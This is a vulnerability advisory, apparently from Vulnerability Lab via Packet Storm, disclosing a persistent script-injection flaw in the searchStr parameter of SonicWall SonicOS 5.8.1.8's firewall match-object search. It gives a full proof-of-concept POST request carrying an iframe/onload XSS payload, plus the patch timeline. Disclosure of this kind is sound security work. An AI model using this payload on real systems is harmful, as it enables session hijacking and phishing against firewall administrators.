SonicWall SonicOS 5.8.1.8 WAF Cross Site Scripting

2012-12-18T00:00:00
ID PACKETSTORM:118923
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2012-12-18T00:00:00

Description

                                        
                                            `Title:  
======  
SonicWall SonicOS 5.8.1.8 WAF - POST Inject Vulnerability  
  
  
Date:  
=====  
2012-12-18  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=769  
  
Sonicwall Bug ID [SBID]: 123995  
  
  
VL-ID:  
=====  
769  
  
  
Common Vulnerability Scoring System:  
====================================  
3.5  
  
  
Introduction:  
=============  
The Dell® SonicWALL® Network Security Appliance (NSA) Series combines the patented Dell SonicWALL Reassembly   
Free Deep Packet Inspection^(TM) (RFDPI) engine with a powerful and massively scalable multi-core architecture to   
deliver intrusion prevention, gateway anti-virus, gateway anti-spyware, and application intelligence and control   
for businesses of all sizes. By integrating automated and dynamic security capabilities into a single platform,   
the NSA Series provides comprehensive Next-Generation Firewall protection without compromising performance.   
  
(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/NSA_Series.html)  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered a web vulnerability in the official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance Application.  
  
  
Report-Timeline:  
================  
2012-11-18: Researcher Notification & Coordination  
2012-11-20: Vendor Notification  
2012-11-20: Vendor Response/Feedback  
2012-12-04: Vendor Fix/Patch (SonicOS 5.8.1.9)  
2012-12-18: Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
DELL  
Product: Sonicwall SonicOS v5.8.1.8  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
A persistent POST Injection (input validation) vulnerability is detected in the official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance Application.  
The vulnerability typus allows an attacker to inject via POST request own malicious script code in the vulnerable module on application side (persistent).  
  
The vulnerability is located in the Firewall > Match Object > Edit Match Object section when processing to request via the `Search > appFirewallObjects`   
module the bound vulnerable [searchStr] application parameter. The persistent injected script code will be executed out of the searchstr name listing   
web application context.  
  
The bug can be exploited with a low (restricted) privileged application user account and low required user inter action. Successful exploitation of   
the vulnerability result in persistent session hijacking, persistent phishing, external redirect, external malware loads and persistent vulnerable   
module context manipulation.  
  
Vulnerable Section(s):  
[+] Firewall > Match Object > Edit Match Object  
  
Vulnerable Module(s):  
[+] Search > appFirewallObjects  
  
Vulnerable Parameter(s):  
[+] [searchStr] - Name Listing  
  
  
Proof of Concept:  
=================  
The persistent post injection vulnerability can be exploited by remote attackers with low privileged application user account and   
low required user interaction. For demonstration or reproduce ...  
  
  
Review: appFirewallObjects > searchStr  
  
csrfToken=benjamin1337  
inputxml=<dbInfo><dbInfoRequest><pageId>appFirewallObjects</pageId><tableType>157</tableType><viewType>table</viewType>  
<cmd>get</cmd><sort>false</sort><searchStr><[PROVOKE EXCEPTION]>%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]")   
<</searchStr></dbInfoRequest></dbInfo>  
  
  
--- POST REQUEST FULL (MANIPULATED!) ---  
Host=realtime.pentest.server.com  
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0  
Accept=application/json,   
text/javascript, */*  
Accept-Language=de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding=gzip, deflate  
DNT=1  
Connection=keep-alive  
Content-Type=  
application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With=XMLHttpRequest  
Referer=https://realtime.pentest.server.com/appFirewallObjects.html?  
sortCol=1&sortInverted=0.html  
Content-Length=475  
Cookie=__utma=31673917.1419029853.1353291737.1353291737.1353374336.2;   
__utmz=31673917.1353374336.2.2.utmcsr=livedemo.sonicwall.com|utmccn=(referral)|utmcmd=referral|  
  
utmcct=/demo/demo.html;   
__utma=227649090.369226766.1353295036.1353295036.1353295036.1;   
  
__utmz=227649090.1353295036.1.1.utmcsr=esserver.realtime.pentest.server.com|utmccn=(referral)|  
utmcmd=referral|utmcct=/settings_branding.html; __utmv=227649090.|1=User%3AUnkown=Unknown=1; s_vi=[CS]v1|  
  
2854D261051D029D-40000106800133DF[CE];   
__utmb=31673917.32.10.1353374336; __utmc=31673917; s_cc=true; s_sq=%5B%5BB%5D%5D; curUrl=appFirewallObjects.html  
  
%3FsortCol%3D1%26sortInverted%3D0.html;   
curUsr=; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0;   
  
1044=0; 1045=0; 1022=true;   
1007=applFolder; 2103=appFolderId  
Pragma=no-cache  
Cache-Control=no-cache  
POSTDATA=csrfToken=benjamin1337&inputxml=  
  
%3CdbInfo%3E%3CdbInfoRequest%3E%3CpageId%3E  
appFirewallObjects%3C%2FpageId%3E%3CtableType%3E157%3C%2FtableType%3E%3CviewType%3Etable%3C%2FviewType%3E%3Ccmd  
%3Eget%3C%2Fcmd%3E%3Csort%3Efalse  
%3C%2Fsort%3E%3CsearchStr%3E%3Ciframe+src%3Da%3E%2520%2520%2520%2520%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL  
%22)+%3C+%3Ciframe+src%3Da%3E  
%2520%2520%2520%2520%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C%3C%2FsearchStr%3E%3C%2FdbInfoRequest%3E%3C  
%2FdbInfo%3E  
  
  
Reference(s):  
https://firewall.127.0.0.1:31337/dbselect.cgi  
https://2400mx.127.0.0.1:31337/dbselect.cgi  
  
  
Solution:  
=========  
The vulnerability can be patch by parsing the name listing searchStr web application parameter request.  
  
2012-12-04: Vendor Fix/Patch - Update or Upgrade your Sonicwall SonicOS v5.8.1.8 to v5.8.1.9 [Customer Area].  
  
  
Risk:  
=====  
The secuirty risk of the post injection web vulnerability is estimated as medium.  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)  
  
  
Disclaimer:  
===========  
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